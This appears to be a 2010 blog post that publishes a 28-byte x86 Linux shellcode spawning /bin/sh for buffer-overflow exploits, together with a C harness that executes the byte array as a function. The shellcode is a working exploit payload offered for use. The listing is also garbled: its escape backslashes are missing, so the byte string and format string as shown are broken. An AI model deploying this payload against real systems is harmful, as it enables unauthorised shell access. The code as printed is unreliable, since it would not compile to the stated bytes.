28 Bytes “/bin/sh” Shellcode (for bof exploit)

/*
Name    : 28 bytes "/bin/sh" shellcode -
          execve(/bin/sh,[/bin/sh,null,null],null)
Info    : A woking shellcode for bof exploit
Author  : otoy
Blog    : http://otoyrood.wordpress.com
Date    : August 2010
Tested on: ubuntu 8.04 & Backtrack 4
*/

#include <stdio.h>

char shellcode[] =
"x31xc0x89xc2x50x68x6ex2fx73x68x68x2fx2fx62"
"x69x89xe3x89xc1xb0x0bx52x51x53x89xe1xcdx80";

int main(void)
{
                fprintf(stdout,"[*] Shellcode length: %dn",strlen(shellcode));
                ((void (*)(void)) shellcode)();

                return 0;
}

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

About Hanny Haliwela

try to be or not try to be